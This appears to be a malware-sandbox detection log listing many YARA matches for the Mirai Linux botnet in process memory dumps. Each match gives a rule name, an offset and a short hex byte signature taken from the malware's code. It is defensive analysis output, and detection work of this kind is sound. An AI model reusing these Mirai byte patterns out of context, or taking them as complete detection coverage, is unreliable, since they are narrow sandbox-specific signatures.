6406.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6406.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6406.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6406.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6315.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6315.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6315.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7354.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6315.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6315.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6315.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7354.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7354.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7354.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7354.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7354.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6717.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7234.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7234.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7234.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6462.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6963.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6644.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6943.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6943.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6943.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6943.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6943.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6943.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7436.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6952.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6952.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6952.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6952.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6952.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6952.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6548.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6548.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6548.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6548.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6548.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6548.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6962.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6798.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6950.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6898.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7387.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7331.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7331.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7331.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7331.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7331.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7331.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6585.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6295.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6295.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6295.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6295.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6295.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6295.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6690.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6690.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6690.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6690.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6690.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6690.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6390.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6390.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6390.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6390.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6390.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6390.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6944.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6944.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6944.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6944.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6944.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6944.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7312.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6739.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6739.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6739.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6963.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6963.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6444.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7436.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7436.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7436.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7436.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7436.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6885.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6885.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6885.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6885.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6885.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6885.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7321.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7321.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7321.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7321.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7321.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7321.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6950.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6950.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6950.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6950.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6950.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6585.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6585.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6585.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6585.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6585.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6462.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6462.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6462.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6462.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6462.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6739.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6739.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6739.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6444.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6444.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6444.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6444.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6798.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6898.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6798.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6898.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6322.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6898.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6898.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7312.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7312.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7312.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7312.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7312.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6444.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6798.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6798.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6798.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7234.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7234.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7234.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6644.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6644.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6963.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6644.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6644.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6644.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6962.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6962.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6962.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6322.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6322.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6963.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6962.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6962.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6605.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6898.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6322.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6322.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6322.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7244.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6605.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6605.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6963.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6605.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6605.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6605.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
